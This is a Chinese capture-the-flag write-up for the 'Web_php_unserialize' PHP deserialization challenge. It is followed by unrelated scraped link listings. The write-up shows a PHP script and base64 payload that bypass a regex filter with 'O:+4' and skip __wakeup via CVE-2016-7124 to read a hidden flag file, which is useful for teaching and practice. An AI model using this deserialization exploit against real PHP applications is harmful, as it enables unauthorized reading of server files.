本文借鉴 https://blog.csdn.net/qq_40884727/article/details/101162105

打开页面得到源码

 <?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

反序列化获得fl4g里面的内容

借鉴别人的代码,在本地运行一下就可以或者在线运行

https://tool.lu/coderunner/

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
   //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo (base64_encode($b));
  //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>

用+4替换成4是为了绕过preg_match的正则表达式

同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

获得flag

攻防世界Web_php_unserialize的更多相关文章

  1. 攻防世界(三)Web_php_unserialize

    攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...

  2. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  3. 攻防世界 WriteUp

    附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...

  4. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  5. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  6. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  7. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  8. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  9. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

随机推荐

  1. Android 获取当前IP地址

    首先设置用户权限 <uses-permission android:name="android.permission.INTERNET"></uses-permi ...

  2. SpringMVC的工作流程?Mybatis和hibernate区别?

    SpringMVC的工作流程?1. 用户发送请求至前端控制器DispatcherServlet2. DispatcherServlet收到请求调用HandlerMapping处理器映射器.3. 处理器 ...

  3. C# ling to sql 取多条记录最大时间

    var _setList = (from f in _postgreDbContext.settlements group f by ( new { f.settlement_code })into ...

  4. js-07-事件

    一.js事件绑定在对象上的三种方法 a:将事件绑定在元素标签的属性上 <h3 onclick="console.log('奥特曼打怪兽')">海绵宝宝历险记</h ...

  5. ES6-promise对象的使用

    Promise 的含义(摘自阮一峰ES6ru) Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大.它由社区最早提出和实现,ES6 将其写进了语言标准,统一 ...

  6. mongodb主备配置

    前言:mongodb目前推荐的方式是副本集的方式实现,但是副本集需要三台服务器,目前配置为主备方式 假设你已经安装好了mongo,并配置好了响应的用户 下面修改mongodb.conf配置文件,开启认 ...

  7. mysql从5.6升级到5.7后出现 Expression #1 of ORDER BY clause is not in SELECT list,this is incompatible with DISTINCT

    [问题]mysql从5.6升级到5.7后出现:插入数据和修改数据时出错Caused by: com.ibatis.common.jdbc.exception.NestedSQLException: - ...

  8. Error: Unable to establish IPMI v2 / RMCP+ session

    是这样的,需要ipmi控制器,然后一直报错这个: [root@localhost ~]# sudo ipmitool -I lanplus -H 192.168.87.12 -U root -P pa ...

  9. 快速查看本地IP地址

    1. 新建Windows批处理文件(*.bat) @echo off echo 本机IP ipconfig|find "IPv4" echo. echo 电脑名 hostname ...

  10. 【bzoj2159】Crash 的文明世界(树形dp+第二类斯特林数)

    传送门 题意: 给出一颗\(n\)个结点的树,对于每个结点输出其答案,每个结点的答案为\(ans_x=\sum_{i=1}^ndis(x,i)^k\). 思路: 我们对于每个结点将其答案展开: \[ ...